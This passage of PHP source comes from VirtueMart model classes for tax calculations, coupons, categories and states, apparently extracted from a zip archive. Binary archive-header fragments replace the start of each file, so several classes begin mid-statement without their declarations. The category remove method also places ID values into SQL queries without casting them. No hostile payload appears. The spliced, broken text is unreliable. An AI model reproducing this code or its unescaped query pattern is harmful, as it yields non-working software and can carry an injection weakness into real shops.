shopfunctions::renderGuiList('virtuemart_shoppergroup_id','#__virtuemart_calc_shoppergroups','virtuemart_calc_id',$data->virtuemart_calc_id,'shopper_group_name','#__virtuemart_shoppergroups','virtuemart_shoppergroup_id','shoppergroup',4,false); /* Write the first 5 countries in the list */ $data->calcCountriesList = shopfunctions::renderGuiList('virtuemart_country_id','#__virtuemart_calc_countries','virtuemart_calc_id',$data->virtuemart_calc_id,'country_name','#__virtuemart_countries','virtuemart_country_id','country',4,false); /* Write the first 5 states in the list */ $data->calcStatesList = shopfunctions::renderGuiList('virtuemart_state_id','#__virtuemart_calc_states','virtuemart_calc_id',$data->virtuemart_calc_id,'state_name','#__virtuemart_states','virtuemart_state_id','state',4,false); /* Write the first 5 manufacturers in the list */ $data->calcManufacturersList = shopfunctions::renderGuiList('virtuemart_manufacturer_id','#__virtuemart_calc_manufacturers','virtuemart_calc_id',$data->virtuemart_calc_id,'mf_name','#__virtuemart_manufacturers','virtuemart_manufacturer_id','manufacturer'); $query = 'SELECT `currency_name` FROM `#__virtuemart_currencies` WHERE `virtuemart_currency_id` = "'.(int)$data->calc_currency.'" '; $this->_db->setQuery($query); $data->currencyName = $this->_db->loadResult(); JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $error = $dispatcher->trigger('plgVmGetPluginInternalDataCalcList',array(&$data)); } return $this->_data; } /** * Bind the post data to the calculation table and save it * * @author Max Milbers * @return boolean True is the save was successful, false otherwise. */ public function store(&$data) { JRequest::checkToken() or jexit( 'Invalid Token, in store calc'); $table = $this->getTable('calcs'); // Convert selected dates to MySQL format for storing. $startDate = JFactory::getDate($data['publish_up']); $data['publish_up'] = $startDate->toMySQL(); // if ($data['publish_down'] == '' or $data['publish_down']==0){ if (empty($data['publish_down']) || trim($data['publish_down']) == JText::_('COM_VIRTUEMART_NEVER')){ if(empty($this->_db)) $this->_db = JFactory::getDBO(); $data['publish_down'] = $this->_db->getNullDate(); } else { $expireDate = JFactory::getDate($data['publish_down']); $data['publish_down'] = $expireDate->toMySQL(); } $table->bindChecknStore($data); if($table->getError()){ vmError('Calculation store '.$table->getError()); return false; } $xrefTable = $this->getTable('calc_categories'); $xrefTable->bindChecknStore($data); if($xrefTable->getError()){ vmError('Calculation store '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_shoppergroups'); $xrefTable->bindChecknStore($data); if($xrefTable->getError()){ vmError('Calculation store '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_countries'); $xrefTable->bindChecknStore($data); if($xrefTable->getError()){ vmError('Calculation store '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_states'); $xrefTable->bindChecknStore($data); if($xrefTable->getError()){ vmError('Calculation store '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_manufacturers'); $xrefTable->bindChecknStore($data); if($xrefTable->getError()){ vmError('Calculation store '.$xrefTable->getError()); } if (!class_exists('vmCalculationPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmcalculationplugin.php'); JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $error = $dispatcher->trigger('plgVmStorePluginInternalDataCalc',array(&$data)); $errMsg = $this->_db->getErrorMsg(); $errs = $this->_db->getErrors(); if(!empty($errMsg)){ $errNum = $this->_db->getErrorNum(); vmError('SQL-Error: '.$errNum.' '.$errMsg.'
    used query '.$this->_db->getQuery()); } if(!empty($errs)){ foreach($errs as $err){ if(!empty($err)) vmError('Calculation store '.$err); } } return $table->virtuemart_calc_id; } static function getRule($kind){ if (!is_array($kind)) $kind = array($kind); $db = JFactory::getDBO(); $nullDate = $db->getNullDate(); $now = JFactory::getDate()->toMySQL(); $q = 'SELECT * FROM `#__virtuemart_calcs` WHERE '; foreach ($kind as $field){ $q .= '`calc_kind`='.$db->Quote($field).' OR '; } $q=substr($q,0,-3); $q .= 'AND ( publish_up = "' . $db->getEscaped($nullDate) . '" OR publish_up <= "' . $db->getEscaped($now) . '" ) AND ( publish_down = "' . $db->getEscaped($nullDate) . '" OR publish_down >= "' . $db->getEscaped($now) . '" ) '; $db->setQuery($q); $data = $db->loadObjectList(); if (!$data) { $data = new stdClass(); } return $data; } /** * Delete all calcs selected * * @author Max Milbers * @param array $cids categories to remove * @return boolean if the item remove was successful */ public function remove($cids) { JRequest::checkToken() or jexit( 'Invalid Token, in remove category'); $table = $this->getTable($this->_maintablename); $cat = $this->getTable('calc_categories'); $sgrp = $this->getTable('calc_shoppergroups'); $countries = $this->getTable('calc_countries'); $states = $this->getTable('calc_states'); $manufacturers = $this->getTable('calc_manufacturers'); $ok = true; foreach($cids as $id) { $id = (int)$id; vmdebug('remove '.$id); if (!$table->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$table->getError()); $ok = false; } if (!$cat->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$cat->getError()); $ok = false; } if (!$sgrp->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$sgrp->getError()); $ok = false; } if (!$countries->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$countries->getError()); $ok = false; } if (!$states->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$states->getError()); $ok = false; } // Mod. St.Kraft 2013-02-24 if (!$manufacturers->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$manufacturers->getError()); $ok = false; } // if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmDeleteCalculationRow', array( $id)); } return $ok; } static function getTaxes() { return self::getRule(array('TAX','VatTax','TaxBill')); } static function getDiscounts(){ return self::getRule(array('DATax','DATaxBill','DBTax','DBTaxBill')); } static function getDBDiscounts() { return self::getRule(array('DBTax','DBTaxBill')); } static function getDADiscounts() { return self::getRule(array('DATax','DATaxBill')); } }PKB\׿g g models/coupon.phpnuW+AsetMainTable('coupons'); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author RickG */ function getCoupon() { $db = JFactory::getDBO(); if (empty($this->_data)) { $this->_data = $this->getTable('coupons'); $this->_data->load((int)$this->_id); } if (!$this->_data) { $this->_data = new stdClass(); $this->_id = 0; $this->_data = null; } return $this->_data; } /** * Bind the post data to the coupon table and save it * * @author RickG, Oscar van Eijk * @return mixed False if the save was unsuccessful, the coupon ID otherwise. */ function store(&$data) { $table = $this->getTable('coupons'); //$data = JRequest::get('post'); $table->bindChecknStore($data); // Convert selected dates to MySQL format for storing. if ($data['coupon_start_date']) { $startDate = JFactory::getDate($data['coupon_start_date']); $data['coupon_start_date'] = $startDate->toMySQL(); } if ($data['coupon_expiry_date']) { $expireDate = JFactory::getDate($data['coupon_expiry_date']); $data['coupon_expiry_date'] = $expireDate->toMySQL(); } parent::store($data); return $table->virtuemart_coupon_id; } /** * Retireve a list of coupons from the database. * * @author RickG * @return object List of coupon objects */ function getCoupons() { $whereString = ''; // if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; return $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_coupons`',$whereString,'',$this->_getOrdering()); } } // pure php no closing tagPKB\ jssmodels/category.phpnuW+AsetMainTable('categories'); $this->addvalidOrderingFieldName(self::$_validOrderingFields); $toCheck = VmConfig::get('browse_cat_orderby_field','category_name'); if(!in_array($toCheck, $this->_validOrderingFieldName)){ $toCheck = 'category_name'; } $this->_selectedOrdering = $toCheck; $this->_selectedOrderingDir = VmConfig::get('cat_brws_orderby_dir', 'ASC'); $this->setToggleName('shared'); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author RickG, jseros, RolandD, Max Milbers */ public function getCategory($virtuemart_category_id=0,$childs=TRUE){ if(!empty($virtuemart_category_id)) $this->setId((int)$virtuemart_category_id); if (empty($this->_data)) { $this->_data = $this->getTable('categories'); $this->_data->load((int)$this->_id); $xrefTable = $this->getTable('category_medias'); $this->_data->virtuemart_media_id = $xrefTable->load((int)$this->_id); if($xrefTable->getError()) vmError($xrefTable->getError()); if(empty($this->_data->category_template)){ $this->_data->category_template = VmConfig::get('categorytemplate'); } if(empty($this->_data->category_layout)){ $this->_data->category_layout = VmConfig::get('categorylayout'); } if($childs){ $this->_data->haschildren = $this->hasChildren($this->_id); /* Get children if they exist */ if ($this->_data->haschildren) $this->_data->children = $this->getCategories(true,$this->_id); else $this->_data->children = null; /* Get the product count */ $this->_data->productcount = $this->countProducts($this->_id); /* Get parent for breatcrumb */ $this->_data->parents = $this->getParentsList($this->_id); } if($errs = $this->getErrors()){ $app = JFactory::getApplication(); foreach($errs as $err){ $app->enqueueMessage($err); } } } return $this->_data; } /** * Get the list of child categories for a given category, is cached * * @param int $virtuemart_category_id Category id to check for child categories * @return object List of objects containing the child categories * */ public function getChildCategoryList($vendorId, $virtuemart_category_id,$selectedOrdering = null, $orderDir = null, $cache = true) { $useCache = true; if(empty($this) or get_class($this)!='VirtueMartModelCategory'){ $useCache = false; } if($selectedOrdering===null){ if($useCache){ $selectedOrdering = $this->_selectedOrdering; } else { $selectedOrdering = VmConfig::get('browse_cat_orderby_field','category_name'); } } if(!in_array($selectedOrdering, self::$_validOrderingFields)){ $selectedOrdering = 'category_name'; } if($orderDir===null){ if($useCache){ $orderDir = $this->_selectedOrderingDir; } else { $orderDir = VmConfig::get('cat_brws_orderby_dir', 'ASC'); } } $validOrderingDir = array('ASC','DESC'); if(!in_array(strtoupper($orderDir), $validOrderingDir)){ $orderDir = 'ASC'; } static $_childCategoryList = array (); $key = (int)$vendorId.'_'.(int)$virtuemart_category_id.$selectedOrdering.$orderDir.VMLANG ; //We have here our internal key to preven calling of the cache if (! array_key_exists ($key,$_childCategoryList)){ if($useCache){ $cache = JFactory::getCache('com_virtuemart_cats','callback'); $cache->setCaching(true); $_childCategoryList[$key] = $cache->call( array( 'VirtueMartModelCategory', 'getChildCategoryListObject' ),$vendorId, $virtuemart_category_id, $selectedOrdering, $orderDir); } else { $_childCategoryList[$key] = VirtueMartModelCategory::getChildCategoryListObject($vendorId, $virtuemart_category_id, $selectedOrdering, $orderDir); } } return $_childCategoryList[$key]; } /** * Be aware we need the lang to assure that the cache works properly. The cache needs all paraemeters * in the function call to use the right hash * * @author Max Milbers * @param $vendorId * @param $virtuemart_category_id * @param null $selectedOrdering * @param null $orderDir * @param $lang * @return mixed */ static public function getChildCategoryListObject($vendorId, $virtuemart_category_id,$selectedOrdering = null, $orderDir = null,$lang = VMLANG) { $query = 'SELECT L.* FROM `#__virtuemart_categories_'.$lang.'` as L JOIN `#__virtuemart_categories` as c using (`virtuemart_category_id`)'; $query .= ' LEFT JOIN `#__virtuemart_category_categories` as cx on c.`virtuemart_category_id` = cx.`category_child_id` '; $query .= 'WHERE cx.`category_parent_id` = ' . (int)$virtuemart_category_id . ' '; $query .= 'AND c.`virtuemart_vendor_id` = ' . (int)$vendorId . ' '; $query .= 'AND c.`published` = 1 '; $query .= ' ORDER BY '.$selectedOrdering.' '.$orderDir; $db = JFactory::getDBO(); $db->setQuery( $query); $childList = $db->loadObjectList(); if(!empty($childList)){ if(!class_exists('TableCategory_medias'))require(JPATH_VM_ADMINISTRATOR.DS.'tables'.DS.'category_medias.php'); foreach($childList as $child){ $xrefTable = new TableCategory_medias($db); $child->virtuemart_media_id = $xrefTable->load($child->virtuemart_category_id); } } return $childList; } // public sortArraysPerXref(){ // $q = 'SELECT * FROM ' // } public function getCategoryTree($parentId=0, $level = 0, $onlyPublished = true,$keyword = ''){ $sortedCats = array(); $limits = $this->setPaginationLimits(); $limitStart = $limits[0]; $limit = $limits[1]; // vmRam('What take the cats?'); $this->_noLimit = true; if($keyword!=''){ $sortedCats = self::getCategories($onlyPublished, false, false, $keyword); } else { $this->rekurseCats($parentId,$level,$onlyPublished,$keyword,$sortedCats); } $this->_noLimit = false; $this->_total = count($sortedCats); $this->_limitStart = $limitStart; $this->_limit = $limit; $this->getPagination(); if(empty($limit)){ return $sortedCats; } else { $sortedCats = array_slice($sortedCats, $limitStart,$limit); return $sortedCats; } } public function rekurseCats($virtuemart_category_id,$level,$onlyPublished,$keyword,&$sortedCats){ $level++; if($this->hasChildren($virtuemart_category_id)){ $childCats = self::getCategories($onlyPublished, $virtuemart_category_id, false, $keyword); if(!empty($childCats)){ foreach ($childCats as $key => $category) { $category->level = $level; $sortedCats[] = $category; $this->rekurseCats($category->virtuemart_category_id,$level,$onlyPublished,$keyword,$sortedCats); } } } } public function getCategories($onlyPublished = true, $parentId = false, $childId = false, $keyword = "") { $vendorId = 1; $select = ' c.`virtuemart_category_id`, l.`category_description`, l.`category_name`, c.`ordering`, c.`published`, cx.`category_child_id`, cx.`category_parent_id`, c.`shared` '; $joinedTables = ' FROM `#__virtuemart_categories_'.VMLANG.'` l JOIN `#__virtuemart_categories` AS c using (`virtuemart_category_id`) LEFT JOIN `#__virtuemart_category_categories` AS cx ON l.`virtuemart_category_id` = cx.`category_child_id` '; $where = array(); if( $onlyPublished ) { $where[] = " c.`published` = 1 "; } if( $parentId !== false ){ $where[] = ' cx.`category_parent_id` = '. (int)$parentId; } if( $childId !== false ){ $where[] = ' cx.`category_child_id` = '. (int)$childId; } if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if( !Permissions::getInstance()->check('admin') ){ $where[] = ' (c.`virtuemart_vendor_id` = "'. (int)$vendorId. '" OR c.`shared` = "1") '; } if( !empty( $keyword ) ) { $keyword = '"%' . $this->_db->getEscaped( $keyword, true ) . '%"' ; //$keyword = $this->_db->Quote($keyword, false); $where[] = ' ( l.`category_name` LIKE '.$keyword.' OR l.`category_description` LIKE '.$keyword.') '; } $whereString = ''; if (count($where) > 0){ $whereString = ' WHERE '.implode(' AND ', $where) ; } else { $whereString = 'WHERE 1 '; } $ordering = $this->_getOrdering(); $this->_category_tree = $this->exeSortSearchListQuery(0,$select,$joinedTables,$whereString,'',$ordering ); return $this->_category_tree; } /** * count the products in a category * * @author Max Milbers * @return array list of categories product is in */ public function countProducts($cat_id=0) { if(!empty($this->_db))$this->_db = JFactory::getDBO(); $vendorId = 1; if ($cat_id > 0) { $q = 'SELECT count(#__virtuemart_products.virtuemart_product_id) AS total FROM `#__virtuemart_products`, `#__virtuemart_product_categories` WHERE `#__virtuemart_products`.`virtuemart_vendor_id` = "'.(int)$vendorId.'" AND `#__virtuemart_product_categories`.`virtuemart_category_id` = '.(int)$cat_id.' AND `#__virtuemart_products`.`virtuemart_product_id` = `#__virtuemart_product_categories`.`virtuemart_product_id` AND `#__virtuemart_products`.`published` = "1" '; $this->_db->setQuery($q); $count = $this->_db->loadResult(); } else $count=0 ; return $count; } /** * Order any category * * @author jseros * @param int $id category id * @param int $movement movement number * @return bool */ public function orderCategory($id, $movement){ //retrieving the category table object //and loading data $row = $this->getTable('categories'); $row->load($id); $query = 'SELECT `category_parent_id` FROM `#__virtuemart_category_categories` WHERE `category_child_id` = '. (int)$row->virtuemart_category_id ; $this->_db->setQuery($query); $parent = $this->_db->loadObject(); if (!$row->move( $movement, $parent->category_parent_id)) { vmError($row->getError()); return false; } return true; } /** * Order category group * * @author jseros * @param array $cats categories to order * @return bool */ public function setOrder($cats, $order){ $total = count( $cats ); $groupings = array(); $row = $this->getTable('categories'); $query = 'SELECT `category_parent_id` FROM `#__virtuemart_categories` c LEFT JOIN `#__virtuemart_category_categories` cx ON c.`virtuemart_category_id` = cx.`category_child_id` WHERE c.`virtuemart_category_id` = %s'; // update ordering values for( $i=0; $i < $total; $i++ ) { $row->load( $cats[$i] ); $this->_db->setQuery( sprintf($query, (int)$cats[$i] ), 0 ,1 ); $parent = $this->_db->loadObject(); $groupings[] = $parent->category_parent_id; if ($row->ordering != $order[$i]) { $row->ordering = $order[$i]; if (!$row->toggle('ordering',$row->ordering)) { vmError($row->getError()); return false; } } } // execute reorder for each parent group $groupings = array_unique( $groupings ); foreach ($groupings as $group){ $row->reorder($group); } $cache = JFactory::getCache('com_virtuemart_cats','callback'); $cache->clean(); return true; } /** * Retrieve the detail record for the parent category of $categoryd * * @author jseros * * @param int $categoryId Child category id * @return JTable parent category data */ public function getParentCategory( $categoryId = 0 ){ $data = $this->getRelationInfo( $categoryId ); $parentId = isset($data->category_parent_id) ? $data->category_parent_id : 0; $parent = $this->getTable('categories'); $parent->load((int) $parentId); return $parent; } /** * Retrieve category child-parent relation record * * @author jseros * * @param int $virtuemart_category_id * @return object Record of parent relation */ public function getRelationInfo( $virtuemart_category_id = 0 ){ $virtuemart_category_id = (int) $virtuemart_category_id; $query = 'SELECT `category_parent_id`, `ordering` FROM `#__virtuemart_category_categories` WHERE `category_child_id` = '. $this->_db->Quote($virtuemart_category_id); $this->_db->setQuery($query); return $this->_db->loadObject(); } /** * Bind the post data to the category table and save it * * @author jseros, RolandD, Max Milbers * @return int category id stored */ public function store(&$data) { JRequest::checkToken() or jexit( 'Invalid Token, in store category'); $table = $this->getTable('categories'); /* vmdebug('categorytemplate to null',VmConfig::get('categorytemplate'),$data['category_template']); * VmConfig::get('categorytemplate') = default * $data['category_template'] = 0 */ if ( !array_key_exists ('category_template' , $data ) ){ $data['category_template'] = $data['category_layout'] = $data['category_product_layout'] = 0 ; } if(VmConfig::get('categorytemplate') == $data['category_template'] ){ $data['category_template'] = 0; } if(VmConfig::get('categorylayout') == $data['category_layout']){ $data['category_layout'] = 0; } if(VmConfig::get('productlayout') == $data['category_product_layout']){ $data['category_product_layout'] = 0; } // vmdebug('category store ',$data); $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError($error); } if(!empty($data['virtuemart_category_id'])){ $xdata['category_child_id'] = (int)$data['virtuemart_category_id']; $xdata['category_parent_id'] = empty($data['category_parent_id'])? 0:(int)$data['category_parent_id']; $xdata['ordering'] = empty($data['ordering'])? 0: (int)$data['ordering']; $table = $this->getTable('category_categories'); $table->bindChecknStore($xdata); $errors = $table->getErrors(); foreach($errors as $error){ vmError($error); } } // Process the images $mediaModel = VmModel::getModel('Media'); $file_id = $mediaModel->storeMedia($data,'category'); $errors = $mediaModel->getErrors(); foreach($errors as $error){ vmError($error); } $cache = JFactory::getCache('com_virtuemart_cats','callback'); $cache->clean(); return $data['virtuemart_category_id'] ; } /** * Delete all categories selected * * @author jseros * @param array $cids categories to remove * @return boolean if the item remove was successful */ public function remove($cids) { JRequest::checkToken() or jexit( 'Invalid Token, in remove category'); $table = $this->getTable('categories'); foreach($cids as &$cid) { if (!$table->delete($cid)) { vmError($table->getError()); return false; } $db = JFactory::getDbo(); $q = 'SELECT `virtuemart_customfield_id` FROM `#__virtuemart_product_customfields` as pc '; $q .= 'LEFT JOIN `#__virtuemart_customs`as c using (`virtuemart_custom_id`) WHERE pc.`custom_value` = "' . $cid . '" AND `field_type`= "Z"'; $db->setQuery($q); $list = $db->loadResultArray(); if ($list) { $listInString = implode(',',$list); //Delete media xref $query = 'DELETE FROM `#__virtuemart_product_customfields` WHERE `virtuemart_customfield_id` IN ('. $listInString .') '; $this->_db->setQuery($query); if(!$this->_db->query()){ vmError( $this->_db->getErrorMsg() ); } } } $cidInString = implode(',',$cids); //Delete media xref $query = 'DELETE FROM `#__virtuemart_category_medias` WHERE `virtuemart_category_id` IN ('. $cidInString .') '; $this->_db->setQuery($query); if(!$this->_db->query()){ vmError( $this->_db->getErrorMsg() ); } //deleting product relations $query = 'DELETE FROM `#__virtuemart_product_categories` WHERE `virtuemart_category_id` IN ('. $cidInString .') '; $this->_db->setQuery($query); if(!$this->_db->query()){ vmError( $this->_db->getErrorMsg() ); } //deleting category relations $query = 'DELETE FROM `#__virtuemart_category_categories` WHERE `category_child_id` IN ('. $cidInString .') '; $this->_db->setQuery($query); if(!$this->_db->query()){ vmError( $this->_db->getErrorMsg() ); } //updating parent relations $query = 'UPDATE `#__virtuemart_category_categories` SET `category_parent_id` = 0 WHERE `category_parent_id` IN ('. $cidInString .') '; $this->_db->setQuery($query); if(!$this->_db->query()){ vmError( $this->_db->getErrorMsg() ); } $cache = JFactory::getCache('com_virtuemart_cats','callback'); $cache->clean(); return true; } /** * Checks for children of the category $virtuemart_category_id * * @author RolandD * @param int $virtuemart_category_id the category ID to check * @return boolean true when the category has childs, false when not */ public function hasChildren($virtuemart_category_id) { // vmSetStartTime('hasChildren'); $db = JFactory::getDBO(); $q = "SELECT `category_child_id` FROM `#__virtuemart_category_categories` WHERE `category_parent_id` = ".(int)$virtuemart_category_id; $db->setQuery($q); $db->query(); if ($db->getAffectedRows() > 0){ // vmTime('hasChildren YES','hasChildren'); return true; } else { // vmTime('hasChildren NO','hasChildren'); return false; } } /** * Creates a bulleted of the childen of this category if they exist * * @author RolandD * @todo Add vendor ID * @param int $virtuemart_category_id the category ID to create the list of * @return array containing the child categories */ public function getParentsList($virtuemart_category_id) { $db = JFactory::getDBO(); $menu = JFactory::getApplication()->getMenu(); $parents = array(); if (empty($query['Itemid'])) { $menuItem = $menu->getActive(); } else { $menuItem = $menu->getItem($query['Itemid']); } $menuCatid = (empty($menuItem->query['virtuemart_category_id'])) ? 0 : $menuItem->query['virtuemart_category_id']; if ($menuCatid == $virtuemart_category_id) return ; $parents_id = array_reverse($this->getCategoryRecurse($virtuemart_category_id,$menuCatid)); foreach ($parents_id as $id ) { $q = 'SELECT `category_name`,`virtuemart_category_id` FROM `#__virtuemart_categories_'.VMLANG.'` WHERE `virtuemart_category_id`='.(int)$id; $db->setQuery($q); $parents[] = $db->loadObject(); } return $parents; } var $categoryRecursed = 0; function getCategoryRecurse($virtuemart_category_id,$catMenuId,$first=true ) { static $idsArr = array(); if($first) { $idsArr = array(); $this->categoryRecursed = 0; } else if($this->categoryRecursed>10){ vmWarn('Stopped getCategoryRecurse after 10 rekursions'); return $idsArr; } $db = JFactory::getDBO(); $q = "SELECT `category_child_id` AS `child`, `category_parent_id` AS `parent` FROM `#__virtuemart_category_categories` AS `xref` WHERE `xref`.`category_child_id`= ".(int)$virtuemart_category_id; $db->setQuery($q); if (!$ids = $db->loadObject()) { return $idsArr; } if ($ids->child) $idsArr[] = $ids->child; if($ids->child != 0 and $catMenuId != $virtuemart_category_id and $catMenuId != $ids->parent) { $this->categoryRecursed++; $this->getCategoryRecurse($ids->parent,$catMenuId,false); } return $idsArr; } /** * Stuff of categorydetails */ /* array container for category tree ID*/ var $container = array(); /** * Sorts an array with categories so the order of the categories is the same as in a tree. * * @author jseros * * @param array $this->_category_tree * @return associative array ordering categories * @deprecated */ public function sortCategoryTree($categoryArr){ /** FIRST STEP * Order the Category Array and build a Tree of it **/ $idList = array(); $rowList = array(); $depthList = array(); $children = array(); $parentIds = array(); $parentIdsHash = array(); $parentId = 0; for( $i = 0, $nrows = count($categoryArr); $i < $nrows; $i++ ) { $parentIds[$i] = $categoryArr[$i]->category_parent_id; if($categoryArr[$i]->category_parent_id == 0){ array_push($idList, $categoryArr[$i]->category_child_id); array_push($rowList, $i); array_push($depthList, 0); } $parentId = $parentIds[$i]; if( isset($parentIdsHash[$parentId] )){ $parentIdsHash[$parentId][$categoryArr[$i]->category_child_id] = $i; } else{ $parentIdsHash[$parentId] = array($categoryArr[$i]->category_child_id => $i); } } $loopCount = 0; $watch = array(); // Hash to store children while( count($idList) < $nrows ){ if( $loopCount > $nrows ) break; $idTemp = array(); $rowTemp = array(); $depthTemp = array(); for($i = 0, $cIdlist = count($idList); $i < $cIdlist ; $i++) { $id = $idList[$i]; $row = $rowList[$i]; $depth = $depthList[$i]; array_push($idTemp, $id); array_push($rowTemp, $row); array_push($depthTemp, $depth); $children = @$parentIdsHash[$id]; if( !empty($children) ){ foreach($children as $key => $value) { if( !isset($watch[$id][$key]) ){ $watch[$id][$key] = 1; array_push($idTemp, $key); array_push($rowTemp, $value); array_push($depthTemp, $depth + 1); } } } } $idList = $idTemp; $rowList = $rowTemp; $depthList = $depthTemp; $loopCount++; } return array('id_list' => $idList, 'row_list' => $rowList, 'depth_list' => $depthList, 'categories' => $categoryArr ); } /* * Returns an array of the categories recursively for a given category * @author Kohl Patrick * @param int $id * @param int $maxLevel * @Object $this->container * @deprecated */ function treeCat($id=0,$maxLevel =1000) { static $level = 0; static $num = -1 ; $db = JFactory::getDBO(); $q = 'SELECT `category_child_id`,`category_name` FROM `#__virtuemart_categories_'.VMLANG.'` LEFT JOIN `#__virtuemart_category_categories` on `#__virtuemart_categories`.`virtuemart_category_id`=`#__virtuemart_category_categories`.`category_child_id` WHERE `category_parent_id`='.(int)$id; $db->setQuery($q); $num ++; // if it is a leaf (no data underneath it) then return $childs = $db->loadObjectList(); if ($level==$maxLevel) return; if ($childs) { $level++; foreach ($childs as $child) { $this->container[$num]->id = $child->category_child_id; $this->container[$num]->name = $child->category_name; $this->container[$num]->level = $level; self::treeCat($child->category_child_id,$maxLevel ); } $level--; } } /** * @author Kohl Patrick * @param $maxlevel the number of level * @param $id the root category id * @Object $this->container * @ return categories id, name and level in container * if you set Maxlevel to 0, then you see nothing * max level =1 for simple category,2 for category and child cat .... * don't set it for all (1000 levels) * @deprecated */ function GetTreeCat($id=0,$maxLevel = 1000) { self::treeCat($id ,$maxLevel) ; return $this->container ; } /** * This function is repsonsible for returning an array containing category information * @param boolean Show only published products? * @param string the keyword to filter categories * @deprecated */ function getCategoryTreeArray( $only_published=true, $keyword = "" ) { $db = JFactory::getDBO(); if( empty( $this->_category_tree)) { // Get only published categories $query = "SELECT `virtuemart_category_id`, `category_description`, `category_name`,`category_child_id`, `category_parent_id`,`#__virtuemart_categories`.`ordering`, `published` as category_publish FROM `#__virtuemart_category_categories`, `#__virtuemart_categories_".VMLANG."` as L JOIN `#__virtuemart_categories` using (`virtuemart_category_id`) WHERE "; if( $only_published ) { $query .= "`#__virtuemart_categories`.`published`=1 AND "; } $query .= " L.`virtuemart_category_id`=`#__virtuemart_category_categories`.`category_child_id` "; if( !empty( $keyword ) ) { $keyword = '"%' . $this->_db->getEscaped( $keyword, true ) . '%"' ; //$keyword = $this->_db->Quote($keyword, false); $query .= 'AND ( `category_name` LIKE '.$keyword.' OR `category_description` LIKE '.$keyword.') '; } /* if( !empty( $keyword )) { $query .= "AND ( `category_name` LIKE '%$keyword%' "; $query .= "OR `category_description` LIKE '%$keyword%' "; $query .= ") "; }*/ $query .= " ORDER BY `#__virtuemart_categories`.`ordering` ASC, L.`category_name` ASC"; // initialise the query in the $database connector $db->setQuery($query); // Transfer the Result into a searchable Array $dbCategories = $db->loadAssocList(); //if (!$ids = $db->loadObject()) foreach( $dbCategories as $Cat ) { $this->_category_tree[$Cat['category_child_id']] = $Cat; } } } /** * Sorts an array with categories so the order of the categories is the same as in a tree, just as a flat list. * The Tree Depth is * * @deprecated * @param array $categoryArr */ function sortCategoryTreeArray() { // Copy the Array into an Array with auto_incrementing Indexes $key = array_keys($this->_category_tree); // Array of category table primary keys $nrows = $size = sizeOf($key); // Category count /** FIRST STEP * Order the Category Array and build a Tree of it **/ $id_list = array(); $row_list = array(); $depth_list = array(); $children = array(); $parent_ids = array(); $parent_ids_hash = array(); //Build an array of category references $category_tmp = Array(); for ($i=0; $i<$size; $i++) { $category_tmp[$i] = $this->_category_tree[$key[$i]]; $parent_ids[$i] = $category_tmp[$i]['category_parent_id']; if($category_tmp[$i]["category_parent_id"] == 0) { array_push($id_list,$category_tmp[$i]["category_child_id"]); array_push($row_list,$i); array_push($depth_list,0); } $parent_id = $parent_ids[$i]; if (isset($parent_ids_hash[$parent_id])) { $parent_ids_hash[$parent_id][$i] = $parent_id; } else { $parent_ids_hash[$parent_id] = array($i => $parent_id); } } $loop_count = 0; $watch = array(); // Hash to store children while(count($id_list) < $nrows) { if( $loop_count > $nrows ) break; $id_temp = array(); $row_temp = array(); $depth_temp = array(); for($i = 0 ; $i < count($id_list) ; $i++) { $id = $id_list[$i]; $row = $row_list[$i]; $depth = $depth_list[$i]; array_push($id_temp,$id); array_push($row_temp,$row); array_push($depth_temp,$depth); $children = @$parent_ids_hash[$id]; if (!empty($children)) { foreach($children as $key => $value) { if( !isset($watch[$id][$category_tmp[$key]["category_child_id"]])) { $watch[$id][$category_tmp[$key]["category_child_id"]] = 1; array_push($id_temp,$category_tmp[$key]["category_child_id"]); array_push($row_temp,$key); array_push($depth_temp,$depth + 1); } } } } $id_list = $id_temp; $row_list = $row_temp; $depth_list = $depth_temp; $loop_count++; } return array('id_list' => $id_list, 'row_list' => $row_list, 'depth_list' => $depth_list, 'category_tmp' => $category_tmp); } }PKB\Kmodels/state.phpnuW+AsetMainTable('states'); $this->_selectedOrderingDir = 'ASC'; } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * Renamed to getSingleState to avoid overwriting by jseros * * @author Max Milbers */ function getSingleState(){ if (empty($this->_data)) { $this->_data = $this->getTable('states'); $this->_data->load((int)$this->_id); } return $this->_data; } /** * Retireve a list of countries from the database. * * @author RickG, Max Milbers * @return object List of state objects */ public function getStates($countryId, $noLimit=false, $published = false) { $quer= 'SELECT * FROM `#__virtuemart_states` WHERE `virtuemart_country_id`= "'.(int)$countryId.'" '; if($published){ $quer .= 'AND `published`="1" '; } $quer .= 'ORDER BY `#__virtuemart_states`.`state_name`'; if ($noLimit) { $this->_data = $this->_getList($quer); } else { $this->_data = $this->_getList($quer, $this->getState('limitstart'), $this->getState('limit')); } if(count($this->_data) >0){ $this->_total = $this->_getListCount($quer); } return $this->_data; } /** * Tests if a state and country fits together and if they are published * * @author Max Milbers * @return String Attention, this function gives a 0=false back in case of success */ public static function testStateCountry($countryId,$stateId) { $countryId = (int)$countryId; $stateId = (int)$stateId; vmdebug('testStateCountry country '.$countryId.' $stateId '.$stateId); $db = JFactory::getDBO(); $q = 'SELECT * FROM 